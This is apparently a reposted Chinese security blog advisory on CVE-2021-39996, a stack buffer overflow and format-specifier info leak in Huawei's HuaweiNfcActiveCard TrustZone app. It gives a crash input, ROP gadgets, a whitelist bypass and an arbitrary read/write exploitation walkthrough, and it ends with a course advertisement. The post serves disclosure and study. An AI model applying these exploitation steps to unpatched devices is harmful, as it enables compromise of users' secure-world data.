二进制漏洞分析-29.Huawei TrustZone HuaweiNfcActiveCard 漏洞
二进制漏洞分析-29.Huawei TrustZone HuaweiNfcActiveCard 漏洞
原创 haidragon 安全狗的自我修养 2023-12-27 07:54
-
-
二进制漏洞分析-1.华为Security Hypervisor漏洞
-
二进制漏洞分析-2.揭示华为安全管理程序(上)
-
二进制漏洞分析-3.揭示华为安全管理程序(下)
-
二进制漏洞分析-4.华为安全监控漏洞(SMC SE 工厂检查 OOB 访问)
-
二进制漏洞分析-5.华为安全监控漏洞(SMC MNTN OOB 访问)
-
二进制漏洞分析-6.Parallels Desktop Toolgate 漏洞
-
二进制漏洞分析-7.华为TrustZone Vsim_Sw漏洞
-
二进制漏洞分析-8.Huawei TrustZone VprTa漏洞
-
二进制漏洞分析-9.华为TrustZone TEE_Weaver漏洞
-
二进制漏洞分析-10.华为TrustZone TEE_SERVICE_VOICE_REC漏洞
-
二进制漏洞分析-11.华为TrustZone TEE_SERVICE_MULTIDRM漏洞(上)
-
二进制漏洞分析-12.华为TrustZone TEE_SERVICE_MULTIDRM漏洞(下)
-
二进制漏洞分析-13.华为TrustZone TEE_SERVICE_FACE_REC漏洞(一)
-
二进制漏洞分析-14.华为TrustZone TEE_SERVICE_FACE_REC漏洞(二)
-
二进制漏洞分析-15.华为TrustZone TEE_SERVICE_FACE_REC漏洞(三)
-
二进制漏洞分析-16.华为TrustZone TEE_SERVICE_FACE_REC漏洞(四)
-
二进制漏洞分析-17.华为TrustZone Tee_Fido_Main漏洞
-
二进制漏洞分析-18.华为TrustZone TEE_EID漏洞
-
二进制漏洞分析-19.华为TrustZone TCIS漏洞
-
二进制漏洞分析-20.TrustZone Task_Phone_Novelchd漏洞(上)
-
二进制漏洞分析-20.TrustZone Task_Phone_Novelchd漏洞(下)
-
二进制漏洞分析-21.华为TrustZone TALoader信息泄露
-
二进制漏洞分析-22.华为TrustZone TA_uDFingerPrint漏洞
-
二进制漏洞分析-23.华为TrustZone TA_SensorInfo漏洞
-
二进制漏洞分析-24.华为TrustZone TA_HuaweiWallet漏洞
-
二进制漏洞分析-25.华为TrustZone TA_SignTool OOB Read
-
二进制漏洞分析-26.华为华为TrustZone IfaaKey_TA漏洞
-
二进制漏洞分析-28.华为TrustZone HW_KEYMASTER漏洞
Huawei TrustZone HuaweiNfcActiveCard 漏洞
此通报包含有关以下漏洞的信息:
– CVE-2021-39996 漏洞CVE-2021-39996 SplitAidStrtok 中的缓冲区溢出
HuaweiNfcActiveCard TA符合GlobalPlatform TEE内部核心接口。因此,它从位于正常环境中的客户端应用程序接收命令。这些命令由函数处理。TA_InvokeCommandEntryPoint
该 TA 实现了 13 个命令,但仅调用 (0x20002) 就足以触发漏洞。CmdTeeHardwareSyncAidList
信息泄露ParseAidList¶
函数中存在信息泄漏,可用于泄漏堆栈上分配的缓冲区的地址。结合第二个漏洞,可以用来获取TA基址。此信息泄漏来自对 in 的调用:ParseAidListSLogParseAidList
int ParseAidList() {
char *list_elem;
int list_elem_len;
char stack_buf[0x1400];
// [...]
if (g_aidCount > 0) {
for (list_elem = &g_aidList; ; list_elem += 0x100) {
SLog("%s: ParseAidList Enter, g_aidList[%d]=%s\n", "[Trace]", index, list_elem);
list_elem_len = strlen(list_elem);
tmpCnt = SplitAidStrtok(stack_buf, list_elem, list_elem_len, ",");
SLog("%s: ParseAidList Enter, tmpCnt=%d\n", "[Trace]", tmpCnt);
if (tmpCnt < 2) {
SLog("%s: ParseAidList : at least two property:type and aid\n", "[Error]");
} else if (!strncmp(&stack_buf[0x100], "501", 3)) {
// [...]
}
// [...] many more else ifs [...]
else {
SLog("%s: ParseAidList unknown card aidList=%s, type=%d\n", "[Error]", &stack_buf[0x100], stack_buf);
}
// [...]
}
}
// [...]
}
每个 in 都经过解析,用于拆分分隔符上的字符串并将生成的子字符串放入堆栈缓冲区中。该函数需要 2 个子字符串和 .如果堆栈缓冲区中的 , at offset 0x100与任何预期值(等)不匹配,则它将进入默认情况,该情况使用 和 as 参数进行调用。但是由于 的格式说明符是 而不是 ,它将打印字符串地址而不是字符串本身:list_elemg_aidListSplitAidStrtok”,”stack_buftypeaidaid”501″SLogtypeaidaid%d%s
[TA_HuaweiNfcActiveCard-1] [Error]: ParseAidList unknown card aidList=A, type=110212648
缓冲区溢出SplitAidStrtok¶
该函数中存在一个漏洞,允许超出其第一个参数的边界写入。根据调用此函数的位置,它可用于在 BSS 中写入用户控制的数据,或者更有趣的是,在堆栈上写入。此缓冲区溢出是由于缺少对函数的检查。SplitAidStrtokSplitAidStrtok
int SplitAidStrtok(char *out_list, char *aidList, int aidLen, const char *separator) {
// [...]
const char *list_elem;
size_t list_elem_len;
int next_elem_ptr;
int count;
int ptr;
// [...]
// sanity checks of the arguments
list_elem = strtok_s(aidList, separator, &ptr);
if (list_elem) {
list_elem_len = strlen(list_elem);
if (strncpy_s(out_list, 0x100, list_elem, list_elem_len))
return 0xFFFF0006;
next_elem_ptr = out_list + 0x100;
count = 1;
while (1) {
list_elem = strtok_s(0, separator, &ptr);
if (!list_elem)
break;
list_elem_len = strlen(list_elem);
++count;
if (strncpy_s(next_elem_ptr, 0x100, list_elem, list_elem_len))
return 0xFFFF0006;
next_elem_ptr += 0x100;
}
return count;
}
// [...]
}
该函数在循环中调用作为参数给出的字符串,以检索以分隔的子字符串。对于每个子字符串,它调用以每次递增 0x100 的偏移量将其复制到其中。SplitAidStrtokstrtok_saidListseparatorstrncpy_sout_list
例如,if is ,将被复制到 +0x0、+0x100 和 +0x200。但正如你所看到的,可以复制的子字符串数量没有限制。这意味着给定足够长的字符串,我们可以溢出缓冲区。aidList”A,B,C””A”out_list”B”out_list”C”out_listaidListout_list
SplitAidStrtok
在 2 个地方调用:
int GetAidList(const char *aidList, int aidLen) {
// [...]
g_aidCount = SplitAidStrtok(&g_aidList, aidList, aidLen, "|");
// [...]
}
在 中,它可用于溢出 BSS 中分配的大小为 0x1400 的缓冲区(该参数完全由用户控制)。GetAidListg_aidListaidList
int ParseAidList() {
char stack_buf[0x1400];
// [...]
list_elem = &g_aidList;
for (index = 0; index < g_aidCount; ++index) {
list_elem_len = strlen(list_elem);
tmpCnt = SplitAidStrtok(stack_buf, list_elem, list_elem_len, ",");
// [...]
list_elem += 0x100;
}
}
在 中,它可用于溢出堆栈上分配的大小为 0x1400 的缓冲区(该参数由用户控制,但限制为 255 字节)。ParseAidListstack_buflist_elem
unsigned int CmdTeeHardwareSyncAidList(void *session, unsigned int paramTypes, int *params) {
// [...]
// checking the parameters types
// [...]
buffer = params[0].memref.buffer;
length = params[0].memref.length;
WriteAidListToFile(buffer, length);
GetAidList(buffer, length);
ParseAidList();
}
该命令需要单个参数:包含单个字符串的输入缓冲区。它将使用此字符串调用函数。 将拆分它并将子字符串存储到全局缓冲区中。然后调用将每个子字符串拆分为 on ,将结果放入堆栈缓冲区并对其进行处理。CmdTeeHardwareSyncAidListGetAidListGetAidList”|”g_aidListCmdTeeHardwareSyncAidListParseAidListg_aidList”,”
触发崩溃的输入字符串示例如下:A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,AAAAAAAAAAAAAAAAAAAAAAAA
[HM] ESR_EL1: 82000006, ELR_EL1: 41414140, FAR is not valid
[HM] TA_HuaweiNfcAct vm fault prefetch abort: 41414140
[HM] fault: 82000006 tcb cref 2200000028
[HM] Registers dump:
[HM] ----------
[HM] 32 bits userspace stack dump:
[HM] ----------
[HM] <ParseAidList>+0x384/0x41c
[HM] [ERROR][2171]vmem_as_ondemand_prepare failed
[HM] [ERROR][2496]process 2200000028 (tid: 40) data abort:
[HM] [ERROR][2498]Bad memory access on address: 0x41414140, fault_code: 0x82000006
[HM]
[HM] Dump task states for tcb
[HM] ----------
[HM] name=[TA_HuaweiNfcAct] tid=40 is-idle=0 is-curr=0
[HM] state=BLOCKED@MEMFAULT sched.pol=0 prio=46 queued=1
[HM] aff[0]=ff
[HM] flags=1000 smc-switch=0 ca=8625 prefer-ca=8625
[HM] Registers dump:
[HM] ----------
[HM] 32 bits userspace stack dump:
[HM] ----------
[HM] <ParseAidList>+0x384/0x41c
[HM] Dump task states END
[HM]
[HM] [TRACE][1212]pid=48 exit_status=130
虽然 trustlet 中有堆栈 cookie,但令人惊讶的是,函数中没有。如上所述,可以覆盖堆栈上的返回地址,我们现在将看到如何利用它。ParseAidList
开发¶
我们的设备设置¶
我们开发漏洞利用的设备是运行固件更新的P40 Pro。trustlet 二进制 MD5 校验和如下:ELS-LGRP4-OVS_11.0.0.196
HWELS:/ ## md5sum /vendor/bin/5fce3ea5-fa71-4152-a30f-f46be8c924bf.sec
318662fa357d2701941706d775e1115f /vendor/bin/5fce3ea5-fa71-4152-a30f-f46be8c924bf.sec
华为TEE OS iTrustee实现了白名单机制,只允许特定的客户端应用(原生二进制文件或APK)与可信应用通信。
在我们的例子中,HuaweiNfcActiveCard TA 只能被 2 个原生二进制文件和一个 APK 调用:
– /vendor/bin/nfcgetcplc
(uid 0);
-
/vendor/bin/hw/[email protected]
(uid 0 或 1068); -
com.android.nfc
(证书以 开头)。c2851d1c
身份验证机制分为 3 个部分:- 守护进程,实现 TEE 客户端 API,检查哪个原生二进制文件/APK 正在与它通信,并将该信息发送到内核驱动程序;- 内核驱动程序确保它正在与 通信,并将它收到的信息转发给 TEE OS;- TEE OS 验证客户端应用是否在 TA 的白名单中。teecdteecd
由于我们不想费心在这些二进制文件之一中注入代码,因此我们选择通过修补内核驱动程序来规避身份验证,以添加模拟任何原生二进制文件/APK 的功能。
泄漏 ASLR 幻灯片¶
要获取 trustlet 的基址,第一步是泄露 in 的地址。为此,我们通过发送包含未知(在漏洞利用中)的输入字符串来触发上一节中介绍的信息泄漏。stack_bufParseAidListaid”A,A”
第二步是在 trustlet 部分泄露地址。由于第二个漏洞,我们能够溢出缓冲区周围的堆栈布局如下:.textstack_buf
0x1A40 ┌────────────────┐
│ LR ──┼──► .text + 0x1364
0x1A3C ├────────────────┤
│ R11 │
0x1A38 ├────────────────┤
│ R7 │
0x1A34 ├────────────────┤
│ R6 ──┼──► saved length
0x1A30 ├────────────────┤
│ R5 ──┼──► saved buffer
0x1A2C ├────────────────┤
│ R4 │
0x1A28 ├────────────────┤
│ │
│ │
│ │
│ stack_buf │
│ │
│ │
│ │
0x0628 └────────────────┘
后面的第二个 dword 是在 开头推送的 R5 寄存器的值。此值将在执行返回到 之前的 right 末尾弹出。在 中,R5 寄存器将用作调用 的参数,带有格式说明符,允许我们泄漏此地址的字节(最多第一个空字节)。由于我们对泄露代码地址感兴趣,因此我们可以选择用输入时保存的 LR 地址覆盖保存的 R5。stack_bufParseAidListParseAidListCmdTeeHardwareSyncAidListCmdTeeHardwareSyncAidListSLog%sParseAidList
任意读/写¶
通过覆盖保存的 LR 而不是保存的 R5,我们可以执行不同的 ROP 链,允许我们执行任意读取和写入。在我们的 ROP 链中,我们需要注意不要在堆栈上溢出太多值,因为我们希望保留先前堆栈帧的已保存寄存器,以便以后可以将它们弹出。为此,我们选择使用以下小工具将 pivot 堆栈到从正常世界映射到的输入缓冲区中:
pop {r11,pc}
---
sub sp, r11, #4
pop {r11,pc}
我们根据经验并利用过去漏洞利用的知识获得了输入缓冲区地址(0x70003000)。
任意写入的 ROP 链是围绕以下小工具构建的:
str r3, [r4,#4]
sub sp, r11, #0xc
pop {r4,r5,r11,pc}
任意读取的 ROP 链更复杂,因为我们找不到任何从 trustlet 内的寄存器执行加载的小工具。相反,我们决定将 to 的调用与对 的调用链接起来。这实际上等同于调用 。WriteAidListToFile(src_addr, 4)ReadAidListFromFile(dst_addr, &{4})memcpy(dst_addr, src_addr, 4)
因为第一个参数是输入缓冲区而不是输入输出缓冲区,所以它不会在返回时被 TEEOS 复制回正常世界,因此我们不能使用它来检索我们的值。相反,我们选择做的是将值写入堆栈,将其弹出到带有小工具的寄存器中,然后将其移动到 R0 中。这样,它将成为命令的返回码。
在漏洞利用中,我们通过写入该部分来演示我们的 write 原语,并通过转储 trustlet 内存来演示我们的 read 原语:.data
adb wait-for-device shell su root sh -c 0 "/data/local/tmp/ta_huaweinfcactivecard"
stack_leak_addr = 69ce628
code_leak_addr = 3ee0608
ta_base_addr = 3ede000
got_addr = 69c6000
bss_start = 12345678
bss_start = deadbeef
Trustlet memory dump:
0x03ede000: f0 4f 2d e9 54 c1 9f e5 20 b0 8d e2 84 d0 4d e2 .O-.T... .....M.
0x03ede010: 00 30 9c e5 00 00 51 e3 98 00 0b e5 28 30 0b e5 .0....Q.....(0..
0x03ede020: 49 00 00 0a 12 00 52 e3 3d 00 00 ca 30 31 9f e5 I.....R.=...01..
0x03ede030: c2 9f a0 e1 92 03 c3 e0 43 92 79 e0 21 00 00 4a ........C.y.!..J
获取代码执行¶
虽然在漏洞中没有演示,但也可以使用共享库(、、等)中的小工具,因为它们也映射在 trustlet 的地址空间中。可以通过阅读 GGOT 的内容找到它们的基址。libc_shared_a32.solibtee_shared_a32.solibvendor_shared_a32.so
例如,这可用于进行任意系统调用,并可能进一步提升权限。
受影响的设备¶
我们已验证该漏洞是否影响了以下设备:
– 麒麟990:P40 专业版 (ELS)
请注意,其他型号可能已受到影响。
补丁¶
名字 | 严厉 | CVE漏洞 | 补丁 |
---|---|---|---|
缓冲区溢出SplitAidStrtok |
危急 | CVE-2021-39996 漏洞CVE-2021-39996 | 2021 年 12 月 |
时间线¶
-
2021年10月06日 – 向华为PSIRT发送漏洞报告。
-
2021年10月25日 – 华为PSIRT确认该漏洞报告。
-
2021年12月01日 – 华为PSIRT表示,这些问题已在2021年12月的更新中修复。
-
从 2022 年 11 月
30 日至 2023 年
7 月 19 日 – 我们定期交换有关公告发布的信息。 -
二
进
制
漏
洞
(
更
新
中
) -
-
其
它
课
程 -
w
i
n
d
o
w
s
网
络
安
全
防
火
墙
与
虚
拟
网
卡
(
更
新
完
成
) -
-
w
i
n
d
o
w
s
文
件
过
滤
(
更
新
完
成
) -
-
U
S
B
过
滤
(
更
新
完
成
) -
-
游
戏
安
全
(
更
新
中
) -
-
i
o
s
逆
向 -
-
w
i
n
d
b
g -
-
恶
意
软
件
开
发
(
更
新
中
)
-
还
有
很
多
免
费
教
程
(
限
学
员
) -
-
-
–
-
更
多
详
细
内
容
添
加
作
者
微
信 -
-